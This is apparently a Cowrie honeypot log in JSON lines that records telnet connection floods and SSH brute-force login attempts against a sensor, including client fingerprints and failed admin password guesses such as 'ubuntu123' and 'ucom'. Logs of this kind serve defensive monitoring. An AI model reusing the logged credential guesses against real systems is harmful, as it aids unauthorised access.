{"eventid":"cowrie.session.closed","duration":120.00123524665833,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:19.222888Z","src_ip":"74.87.1.54","session":"beee9526178d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":49473,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca04d2e01ff1","protocol":"telnet","message":"New connection: 74.87.1.54:49473 (159.203.135.109:23) [session: ca04d2e01ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:24.790077Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":49659,"dst_ip":"159.203.135.109","dst_port":23,"session":"65eacd89ecf4","protocol":"telnet","message":"New connection: 74.87.1.54:49659 (159.203.135.109:23) [session: 65eacd89ecf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:31.482210Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":49744,"dst_ip":"159.203.135.109","dst_port":23,"session":"c83a6603a467","protocol":"telnet","message":"New connection: 74.87.1.54:49744 (159.203.135.109:23) [session: c83a6603a467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:34.645959Z"}
{"eventid":"cowrie.session.closed","duration":120.00164771080017,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:44.009478Z","src_ip":"74.87.1.54","session":"f6694e308129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":50133,"dst_ip":"159.203.135.109","dst_port":23,"session":"413415ee5079","protocol":"telnet","message":"New connection: 74.87.1.54:50133 (159.203.135.109:23) [session: 413415ee5079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:45.024126Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33272,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d9ff726e13c","protocol":"ssh","message":"New connection: 159.203.92.129:33272 (159.203.135.109:22) [session: 4d9ff726e13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:54.321942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:54.326849Z","src_ip":"159.203.92.129","session":"4d9ff726e13c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:54.331709Z","src_ip":"159.203.92.129","session":"4d9ff726e13c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ubuntu123","message":"login attempt [admin/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:54.342390Z","src_ip":"159.203.92.129","session":"4d9ff726e13c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:24:55.348189Z","src_ip":"159.203.92.129","session":"4d9ff726e13c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":50926,"dst_ip":"159.203.135.109","dst_port":23,"session":"92955874c09f","protocol":"telnet","message":"New connection: 74.87.1.54:50926 (159.203.135.109:23) [session: 92955874c09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:17.904461Z"}
{"eventid":"cowrie.session.closed","duration":120.00208401679993,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:30.949984Z","src_ip":"74.87.1.54","session":"d8dd06f3f1c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":51568,"dst_ip":"159.203.135.109","dst_port":23,"session":"dea53d2a630f","protocol":"telnet","message":"New connection: 74.87.1.54:51568 (159.203.135.109:23) [session: dea53d2a630f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:34.636113Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":51615,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3e30e987bcd","protocol":"telnet","message":"New connection: 74.87.1.54:51615 (159.203.135.109:23) [session: c3e30e987bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:35.776022Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59278,"dst_ip":"159.203.135.109","dst_port":22,"session":"6029b5f0d9bf","protocol":"ssh","message":"New connection: 159.203.92.129:59278 (159.203.135.109:22) [session: 6029b5f0d9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:36.987140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:36.992499Z","src_ip":"159.203.92.129","session":"6029b5f0d9bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:37.002658Z","src_ip":"159.203.92.129","session":"6029b5f0d9bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ucom","message":"login attempt [admin/ucom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:37.015920Z","src_ip":"159.203.92.129","session":"6029b5f0d9bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:38.023252Z","src_ip":"159.203.92.129","session":"6029b5f0d9bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":51731,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d4a7d339ac8","protocol":"telnet","message":"New connection: 74.87.1.54:51731 (159.203.135.109:23) [session: 4d4a7d339ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:38.302358Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":51862,"dst_ip":"159.203.135.109","dst_port":23,"session":"4abab0b35eca","protocol":"telnet","message":"New connection: 74.87.1.54:51862 (159.203.135.109:23) [session: 4abab0b35eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:41.418156Z"}
{"eventid":"cowrie.session.closed","duration":120.00163793563843,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:44.049794Z","src_ip":"74.87.1.54","session":"1abd9ad751d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":52025,"dst_ip":"159.203.135.109","dst_port":23,"session":"85c32c8ce7f3","protocol":"telnet","message":"New connection: 74.87.1.54:52025 (159.203.135.109:23) [session: 85c32c8ce7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:45.957684Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":52077,"dst_ip":"159.203.135.109","dst_port":23,"session":"45524cdceb1d","protocol":"telnet","message":"New connection: 74.87.1.54:52077 (159.203.135.109:23) [session: 45524cdceb1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:48.097975Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":52232,"dst_ip":"159.203.135.109","dst_port":23,"session":"92b71e9347b7","protocol":"telnet","message":"New connection: 74.87.1.54:52232 (159.203.135.109:23) [session: 92b71e9347b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:50.925800Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":52339,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4cbb4126b40","protocol":"telnet","message":"New connection: 74.87.1.54:52339 (159.203.135.109:23) [session: b4cbb4126b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:54.950196Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":52387,"dst_ip":"159.203.135.109","dst_port":23,"session":"a35eec6f669c","protocol":"telnet","message":"New connection: 74.87.1.54:52387 (159.203.135.109:23) [session: a35eec6f669c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:25:54.975858Z"}
{"eventid":"cowrie.session.closed","duration":120.00215983390808,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:00.213827Z","src_ip":"74.87.1.54","session":"f0e2479b905e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":52902,"dst_ip":"159.203.135.109","dst_port":23,"session":"54b09bc548fe","protocol":"telnet","message":"New connection: 74.87.1.54:52902 (159.203.135.109:23) [session: 54b09bc548fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:08.746379Z"}
{"eventid":"cowrie.session.closed","duration":120.0015196800232,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:10.715601Z","src_ip":"74.87.1.54","session":"5ec2a7acf720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54100,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffd41ebce5c1","protocol":"ssh","message":"New connection: 159.203.92.129:54100 (159.203.135.109:22) [session: ffd41ebce5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:22.277327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:22.282242Z","src_ip":"159.203.92.129","session":"ffd41ebce5c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:22.286477Z","src_ip":"159.203.92.129","session":"ffd41ebce5c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"unstct75","message":"login attempt [admin/unstct75] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:22.297794Z","src_ip":"159.203.92.129","session":"ffd41ebce5c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:23.309011Z","src_ip":"159.203.92.129","session":"ffd41ebce5c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016839504242,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:24.791563Z","src_ip":"74.87.1.54","session":"ca04d2e01ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":53321,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d56e683e861","protocol":"telnet","message":"New connection: 74.87.1.54:53321 (159.203.135.109:23) [session: 2d56e683e861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:28.011708Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.1.54","src_port":53595,"dst_ip":"159.203.135.109","dst_port":23,"session":"8710ab8e4795","protocol":"telnet","message":"New connection: 74.87.1.54:53595 (159.203.135.109:23) [session: 8710ab8e4795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:31.459739Z"}
{"eventid":"cowrie.session.closed","duration":120.00168704986572,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:31.483765Z","src_ip":"74.87.1.54","session":"65eacd89ecf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0016667842865,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:34.647463Z","src_ip":"74.87.1.54","session":"c83a6603a467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00150609016418,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:26:45.025517Z","src_ip":"74.87.1.54","session":"413415ee5079","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45172,"dst_ip":"159.203.135.109","dst_port":22,"session":"a87aa8beecc7","protocol":"ssh","message":"New connection: 159.203.92.129:45172 (159.203.135.109:22) [session: a87aa8beecc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:06.667484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:06.671436Z","src_ip":"159.203.92.129","session":"a87aa8beecc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:06.675282Z","src_ip":"159.203.92.129","session":"a87aa8beecc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"uu5!^%jg","message":"login attempt [admin/uu5!^%jg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:06.684830Z","src_ip":"159.203.92.129","session":"a87aa8beecc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:07.690563Z","src_ip":"159.203.92.129","session":"a87aa8beecc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00197672843933,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:17.906296Z","src_ip":"74.87.1.54","session":"92955874c09f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00165438652039,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:34.637652Z","src_ip":"74.87.1.54","session":"dea53d2a630f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0019359588623,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:35.777819Z","src_ip":"74.87.1.54","session":"c3e30e987bcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00190687179565,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:38.304086Z","src_ip":"74.87.1.54","session":"4d4a7d339ac8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00122141838074,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:41.419247Z","src_ip":"74.87.1.54","session":"4abab0b35eca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00197744369507,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:45.959558Z","src_ip":"74.87.1.54","session":"85c32c8ce7f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00157594680786,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:48.099422Z","src_ip":"74.87.1.54","session":"45524cdceb1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00164914131165,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:50.927325Z","src_ip":"74.87.1.54","session":"92b71e9347b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37898,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e679f9da521","protocol":"ssh","message":"New connection: 159.203.92.129:37898 (159.203.135.109:22) [session: 4e679f9da521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:51.377850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:27:51.381412Z","src_ip":"159.203.92.129","session":"4e679f9da521","protocol":"ssh"}
